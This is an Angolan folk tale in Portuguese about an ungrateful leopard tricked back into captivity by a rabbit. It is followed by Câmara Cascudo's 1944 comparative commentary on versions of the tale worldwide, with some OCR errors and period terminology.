A GRATIDÃO DO LEOPARDO – fábula de animais africanos

A GRATIDÃO DO LEOPARDO

( Angola)

Eianga dia Ngenga tomou a sua espingarda dizendo: vou caçar! Entrou para o bosque e foi caçar. Não encontrou caça, e disse: vou voltar.

Voltava para casa quando encontrou o senhor Leopardo que estava engalhado numa forquilha de árvore. Vendo Nianga, o Leopardo exclamou: Pai Nianga ajude-me!

— ‘Quem te pôs nesta árvore? Êle respondeu: engalhei-me, quero falar-te.

Nianga libertou-o e o Leopardo ficou no solo, dizendo: O Elefante colocou-me na forquilha da árvore. Quem salva a vida, salva tudo. Há dois dias que estou na árvore. Dê-me comida.

Nianga respondeu: Onde irei encontrar comida ? O Leopardo declarou: em qualquer parte… Nianga tomou seu cão e o entregou ao senhor Leopardo. O senhor leopardo comeu-o e disse: Não estou satisfeito! Nianga tomou ainda outro cão e o deu ao senhor Leopardo. Este, devorou p. disse: Ainda não é bastante!

Nianga dia Ngenga tomou sua cartucheira e lha deu. O senhor Leopardo, quando acabou de comer, disse: Ainda não é o suficiente. ..

O Coelho chegou e encontrando a conversa, disse: por que discutem? Niaaiga respondeu: O senhor Leopardo foi encontrado por mim numa forquilha de árvore. Disse-me que o salvasse. De pois ‘pediu que comer. Dei-lhe ambos os meus cães e minha cartucheira. Êle ainda disse que não era. o bastante. Discutíamos sobre esse assunto.

O Coelho opinou: Senhor Leopardo, volte ainda uma vez à forquilha da árvore. Preciso verificar…

O senhor Leopardo voltou à árvore e ficou como> dantes estava. O Coelho afastou-se e chamou Nian-g-a, dizendo-lhe: Foste imprudente. O Senhor Leopardo é um animal feroz, querendo devorar a todos. Quando pensaste em libertá-lo, êle planejou comer a ti. Matai-o!

Nianga atirou no senhor Leopardo.

O fim… com Deus.

Popularíssimo conto entre pretos e africanistas. É o XVIII do Folk-Tales of Angola, de Heli Chatelain, Nianga dia Ngenga ni na Ngo, Boston and New York, publicação do The American Folk-Lore Society, 1894, colhido entre os negros caçadores do Mbaka. Tema universal,, ocorre em quási todos os folclores. A mais antiga versão encontra-se no Panchatantra, assim como no seu resumo, Fabulas de Pilpay, entre o Homem e a Serpente que êle salvara do fogo. A Vaca, a Árvore votaram com a Serpente. A Raposa livrou-o, com o mesmo artifício. Corre mundo desde o ano 570.

J. P. Steel e R. C. Temple, no Wide-Awake-Stories, Bombay e Londres, 1884, recolheram uma versão popular no Panjap. O Tigre, ajudado pelo Brâmane, quer devorá-lo. Árvore, Vaca e Caminho opinam pelo Tigre. O Chacal, pretendendo reconstituir a cena, prende o Tigre para sempre. Couto de Magalhães ouviu o mesmo episodio entre os indígenas brasileiros do idioma tupí, O Selvagem, p. 237, Rio de Janeiro, 1876, onde a Onça, posta em liberdade pela Raposa, quer devorá-la. O Homem manda a Onça voltar ao fosso, deixando-a presa. O prof. Espinosa colheu uma variante em Espanha, Un bien con un mal se paga, León; a Cobra quer morder aq Homem que a salvou do frio. O Asno e o Boi foram pela Cobra mas a zorra (Raposa) exigiu a encenação inicial e a Cobra regressou ao alforge do Homem que a matou, ás pauladas, Cuentos Populares ‘Españolen, III.0, 264.°. Na América Central, dona Maria de Noguera registou El Fallo de tio Conejo, sendo o Boi, ameaçado pelo Tigre, salvo pela astucia do conejo (Coelho) ; Cuentos Viejos, p. 145, S. José de Costa Rica, 1938. Na Argentina, é o sr. Rafael Cano, Del Tiempo de Ñaupa, Buenos Aires, p. 213, 1930, quem fixou o conto, tendo como personagens o Tigre, o Homem e o zorro. Na África Oriental Portuguesa, Moçambique, o padre Francisco Manuel de Castro registou uma variante, ouvida aos pretos Macuas e transcrita pelo jornalista brasileiro Amon de Melo, Africa, p. 240, Rio de Janeiro 1941. O Perú’ Bravo, solto de uma armadilha pelos meninos Narrapurrapu e Nantetete, filhos de Moxia, ia comê-los quando o Coelho duvidou que êle tivesse cabido dentro da armadilha. O Peru Bravo, desafiado, voltou à prisão e ainda lá deve estar. Leo Frobenius, no African Génesis, seleção de Douglas C. Fox, p. 163, New York, 1937, tem uma versão dos negros Nupes do Sudão. O caçador livrando um crocodilo de morrer fora do Niger está condenado a morte. Asubi (esteira colorida do Kutigi) e um pedaço de pano, votam a favor do Crocodilo. O Boaji (almíscar) obtém a representação da cena e deixa o crocodilo no seco, escapando o Homem.

Encontrei uma versão brasileira no Nordeste, registrando-a no meu Contos Tradicionais do Brasil. E’ o Mt. 155 de Aarne-Thompson The Ungrateful serpent Returned to Captivity ainda conhecido na Alemanha, Itália, Estônia, Finlândia, Lapônia, Dinamarca, Flandres, Sicília e entre os pretos da Hotentócia. (C. CASCUDO)

Fonte: Os melhores contos Populares de Portugal. Org. de Câmara Cascudo. Dois Mundos Editora, 1944.

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